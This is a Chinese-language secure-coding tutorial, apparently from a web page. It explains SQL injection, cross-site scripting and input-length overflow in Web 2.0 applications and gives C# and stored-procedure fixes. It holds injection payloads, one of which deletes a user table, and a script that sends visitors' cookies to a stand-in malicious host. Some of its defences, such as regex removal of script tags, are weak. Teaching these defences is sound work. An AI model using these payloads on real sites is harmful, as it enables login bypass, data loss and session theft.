权衡安全和功能 编写安全的Web2.0应用

web|web2|安全

  开发人员必须权衡好安全和功能之间的关系,这要看某种攻击得逞的可能性有多大、这个系统有多重要。

  开发人员可以运用诸多基本原则来增强Web应用程序的安全性。主要有以下三条原则:

  尽量减小权限

  对访问资源的账户进行配置时,始终要把这些账户的权限限制在需要的最小权限。

  千万不要相信用户的输入,验证任何输入的内容

  这对Web应用程序来说尤为重要。确保应用程序并不依赖客户端的验证。在服务器上应当重复所有的检查工作,因为要是没有约束条件,比较容易构建网页副本,有可能导致破坏性代码在运行,或者导致引起系统崩溃的拒绝服务(DoS)攻击。

  有节制地使用错误消息

  虽然在开发程序时,详细的错误消息很有帮助,但它们对恶意用户来说同样是宝贵的信息来源。所以指定函数名这类细节没有太大的意义。这样的细节记录在另一个日志中比较好。

  下面几个示例介绍了没有经过验证的用户输入如何被坏人利用的具体情况,并且介绍了避免这些问题的建议。

  SQL注入

  如果允许任意的SQL命令执行,就会出现SQL注入(SQL injection)。当SQL语句在代码里面动态构建时,通常会出现这种情况。

  以下面用C#编写的代码为例,该代码试图检查用户名/密码组合是否正确:

  string username = txtUsername.Text;

  string password = txtPassword.Text;

  string SQL = "SELECT * FROM tblUsers

  WHERE username = '"+ username +"'

  AND password = '"+ password + "';";

  //执行SQL

  用户名和密码从服务器端的两个文本框获取,并且SQL语句被创建,然后该语句执行。如果没有记录返回,那么表明用户输入的详细资料不正确,或者没有经过注册; 否则用户可以进入到下一个阶段。

  如果用户在两个文本框里面输入了Joe和mypassword,那么SQL语句会是:

  SELECT * FROM tblUsers

  WHERE username = 'Joe'

  AND password = 'mypassword';

  这正是开发人员的意图。不过要是用户往密码文本框里面输入: ' OR 'a' = 'a,SQL就会是:

  SELECT * FROM tblUsers

  WHERE username = 'Joe'

  AND password = ''

  OR 'a' = 'a';

  现在,密码不重要了,因为'a'='a'总是正确的。如果用来连接到数据库的账户有权删除数据而不是仅仅有权读取数据,就会出现更糟糕的情形。假设用户往密码文本框里面输入: '; DELETE FROM tblUsers WHERE 'a' = 'a'。这会得出以下的语句:

  SELECT * FROM tblUsers

  WHERE username = 'Joe'

  AND password = '';

  DELETE FROM tblUsers

  WHERE 'a' = 'a';

  现在,整个用户表就会被清空。

  防止这类问题主要有两种办法。一是,可以使用存储过程(stored procedure)来执行用户验证步骤。设置参数值时,避免使用单引号等特殊符号,因而不可能为WHERE语句添加额外的断言(predicate),也不会运行多个SQL语句。譬如说,可以构建像下面这样的存储过程,接受两个输入参数后,返回表明用户是不是合法用户的第三个参数:

  CREATE PROCEDURE spCheckUser

  (

  @Username VARCHAR(20),

  @Password VARCHAR(20),

  @IsValid BIT OUTPUT

  )

  AS

  DECLARE @UserCount INT

  SELECT @UserCount = COUNT(*)

  FROM tblUsers

  WHERE Username = @Username

  AND Password = @Password

  IF @UserCount = 1

  SET @IsValid = 1

  ELSE

  SET @IsValid = 0

  现在,初始代码经改动后可以使用存储过程:

  SqlCommand sqlCommand =

  new SqlCommand("spCheckUser");

  SqlParameter sqlParam =

  new SqlParameter("@Username",

  SqlDbType.VarChar, 20)

  sqlParam.Value = txtUsername.Text;

  sqlParam.Direction =

  ParameterDirection.Input;

  sqlCommand.Parameters.Add(sqlParam);

  sqlParam =

  new SqlParameter("@Password",

  SqlDbType.VarChar, 20)

  sqlParam.Value = txtPassword.Text;

  sqlParam.Direction =

  ParameterDirection.Input;

  sqlCommand.Parameters.Add(sqlParam);

  sqlParam =

  new SqlParameter("@IsValid",

  SqlDbType.Bit, 1)

  sqlParam.Direction =

  ParameterDirection.Output;

  sqlCommand.Parameters.Add(sqlParam);

  //执行命令,并检索输出参数值

  输入和输出参数使用相关类型来说明。如今区别在于,基本的ADO.NET类会把字符串' OR 'a' = 'a当成实际用户的密码来处理,而不是当成可执行SQL来处理。

  避免这种安全漏洞的第二种办法(也适用于所有的用户输入)就是,确保特殊字符或者字符串被禁用。对SQL而言,导致问题的那个字符就是单引号,所以如果没法使用存储过程,那么就把所有单引号变成双引号,这可以防止有人构建额外的SQL:

  string username = txtUsername.Text;

  string password = txtPassword.Text;

  username = username.Replace("'","''");

  password = password.Replace("'","''");

  string SQL = "SELECT *

  FROM tblUsers

  WHERE username = '"+ username +"'

  AND password = '"+ password +"';";

  //执行SQL

  现在,构建的SQL成为:

  SELECT *

  FROM tblUsers

  WHERE username = 'Joe'

  AND password = '''

  OR ''a'' = ''a';

  这意味着该用户没有被识别。

  跨站脚本

  跨站脚本(有时缩写成XSS)允许来自一个地方的代码在另一个网站里面运行。正如在大多数情况下一样,只要验证用户输入的内容就可以避免这问题。以接受HTML格式的帖子的公告牌为例。假定用户在发布消息中加入了以下内容:

  Hello everyone

  要是不对脚本块进行任何验证及删除,这条消息就会出现,标准的警告信息也会显示。假定这个示例没有恶意,再考虑下一个示例:

  var I = new Image();

  i.src =

  "http://www.maliciousSite.com/save.asp"

  + escape(document.cookie);

  现在,该用户的cookie会被传送到恶意网站,然后记录在网络日志里面。这不是原先需要的操作,可能会泄露私人信息,或者让不怀好意的人以合法用户的身份登录到公告牌。可以通过采用正则表达式来搜索及清除像< script>及其内容这些元素的办法来防止这个问题。

  数据溢出

  数据过多可能会带来问题,这有两个原因。一是,因为应用程序往往会崩溃,譬如说,如果程序试图把50个字符写入到列大小只有40个字符的数据库表,就会引起程序崩溃。显然,良好的错误捕获方法应当可以防止这一问题,但如果用户输入的是有效内容,而且来自可信用户,那么这个问题往往不会发生。数据过多轻则带来差劲的用户体验,重则导致严重消耗服务器资源,要是问题频频发生,还会导致整个服务无法使用。如果输入内容专门旨在导致错误、机器过载,这就叫拒绝服务(DoS)攻击。

  第二个问题是缓冲器溢出。有时候,输入的数据会溢出旨在存放它的内存区,而成为可执行代码的一部分。只要对输入到输入框中的数据进行精心设计,攻击者就可以在服务器上执行任意代码。

  为了避免该问题,不要依靠客户端技术,譬如设置文本框的最大长度属性。这很容易被跳过。有些浏览器(包括IE在内)允许javascript URL。如果网页的文本框有一个标为txtSurname的id,那么下列代码拷贝到浏览器的地址栏上后,就会改变最大长度属性:

  javascript:document.getElementById

  ("txtSurname").maxLength = 1000

  防止这个问题的方法仍然是在服务器上进行检查,看看输入内容是否超过所需长度; 必要的话缩减输入内容。(作者单位系河南省镇平县教师进修学校)

时间: 2024-09-01 03:50:20

权衡安全和功能 编写安全的Web2.0应用的相关文章

FAQ在web2.0网站中的设计与使用

FAQ(Frequently Asked Questions)即常见问题解答.他汇集了网站上顾客经常提问的问题答案,它还包括了网站主要功能介绍和操作流程,方便用户在最短的时间内解决网站浏览的问题,提高网站体验.FAQ看似是网站规划中非常微小的一部分,但却最直接的体现了网站对消费者关注和理解,尤其是对于一些以新颖功能为卖点的web2.0站点,FAQ更是马虎不得,以下是关于网站FAQ设计的几个要点: 1.注意FAQ页面设计 FAQ页面设计包括三方面,一是FAQ导航按钮的设置,一般安排在主页的右上角,

网际快车中web2.0的应用

网际快车(FlashGet)诞生于1999年,是国内第一款也是唯一一款为世界219个国家的用户提供服务的中国软件.2004年,趋势媒体集团收购网际快车(FlashGet)客户端软件,网际快车信息技术有限公司随之创建,黄明明任总裁兼CEO. 从那时起,FlashGet从以前的单一客户端软件,逐渐发展成为了集资源下载客户端.资源门户网站.资源搜索引擎.资源社区等多种服务在内的互联网资源分享平台.如今的快车(FlashGet)已经在全球拥有1.8亿固定用户,并成为中国软件在世界用户心中的一个符号. 下

浅谈web2.0在快车中的应用

中介交易 http://www.aliyun.com/zixun/aggregation/6858.html">SEO诊断 淘宝客 云主机 技术大厅 1.用户荣誉系统.简单的可以是积分.分级系统,负责的可以加入像QQ一样的勋章.太阳等--这是区分新老用户.增加用户粘度的最简便方式,还能借此收集分析用户信息.很多传统软件声称积极转型互联网,但这个最简单的功能却没有做(QQ.网易邮箱等都做得还不错,某个软件有个web2.0的论坛并不代表自己的客户端也2.0了),反而是招商银行.中国移动等传统企

web2.0产品以及功能简单介绍

什么是web2.0?web2.0包括那些社会化网络产品以及功能简介 Web2.0,是相对Web1.0的新的一类互联网应用的统称.由Web1.0单纯通过网络浏览器浏览html网页模式向内容更丰富.联系性更强.工具性更强的Web2.0互联网模式的发展已经成为互联网新的发展趋势.Web2.0是以 Blog.TAG.SNS.RSS.wiki等社会软件的应用为核心,依据六度分隔.xml.ajax等新理论和技术实现的互联网新一代模式. 1.Blog--博客/网志:Blog是一个易于使用的网站,您可以在其中迅

《Axure RP8 网站和APP原型制作 从入门到精通》一2.4 权衡并制定功能的优先级

2.4 权衡并制定功能的优先级 通过对客户答案的研究.竞争分析还有对角色模型的研究,可以帮助我们创建一个主要的产品功能列表.在这一点上,我们要尝试使用"现实测试"来给这些功能定制优先级,见图2. 项目中的任何功能都要符合这三个标准才能将其落实,这些标准如下. 可建造?这是指技术的可实现性和实现该功能需要付出的代价是否值得.如果我们设计该功能并将其递交给开发团队,开发团队根据他们掌握的技术是否可以实现这个功能?如果答案是可以实现,那么下一个问题是,需要多久实现?如果要花费更多时间和金钱的

Web2.0体验式网站设计的关键点

开发"> Web2.0时代,体验式营销,体验式网站设计开始走向主流,那么体验式网站到底意味着什么?具体表现在那些地方?周末,根据建站的一点经验和 观察,也参照了网友的一些建议,总结了体验式网站设计的四各方面,41个关键体验点,将其梳理概况,但仍是较为粗浅,欢迎补充建议.(老早的一篇文章,但 还是挺实用的) 体验式网站设计的四个方面 1.视觉体验:呈现给用户视觉上的体验,重在UI设计,强调舒适性. 2.浏览体验:呈现给用户栏目和内容的体验,重在合理规划,强调协调性. 3.信任体验:呈现给用户

Web2.0网站要冷静 离成功并不远

中介交易 SEO诊断 淘宝客 云主机 技术大厅 有人力捧web2.0,有人唱衰web2.0,或者少数人认为web2.0盈利模式破产,日前,更有人对它提出技术质疑.故笔者要对web2.0这一新生互联网模式进行多方面的阐述. web2.0存在技术缺陷用户门槛过高 web2.0这么久了,一直以来只听到web2.0技术先进的一面,却一直没有人关注web2.0的技术缺陷.近期又刮起web2.0寒潮,纷纷唱衰web2.0.一群见风驶舵的评论家们每天为此叫嚷不安.交流一直是人类社会发展的主要活动,交流成本从最

Array Networks助力ICP行业Web2.0应用解决方案

客户概述 中国商机网(www.3158.cn)是一个给中国的企业提供宣传.推广.展示.沟通.交流的商机信息平台,一个扩大http://www.aliyun.com/zixun/aggregation/9239.html">企业产品知名度和销路的网络营销平台.网站运用了先进的垂直搜索技术和WEB2.0技术,更好的为企业与用户提供网络营销服务和有效的商机信息,为企业与用户之间搭建信息与沟通的桥梁. 客户面临的挑战 3158用户深知如果自己搭建多个站点,通过自己开发BIND的DNS软件根据客户端

从Web2.0退潮到Web3.0悬念

Facebook和Twitter们还没有找到赢利模式,但阵地已经稳固.你需要关注互联网的下一步了 除却那些可爱的机器人们,你一定还记得2008年大热的动画片<Wall-E>为人类勾画的未来-其实它在科幻小说中常常出现:电脑完全智能化,它能识别你的语音,理解你的行动,所有活动都在电脑的操纵之下,而人类无所事事. 自从计算机诞生之后,这样的梦幻场景便屡屡出现.与其说是害怕机器操控时代的来临,不如说人们更多是怀着对未来的憧憬和期待,在梦想的照射下一点一滴地改善着身边这个还远非强大的网络. 但不得不承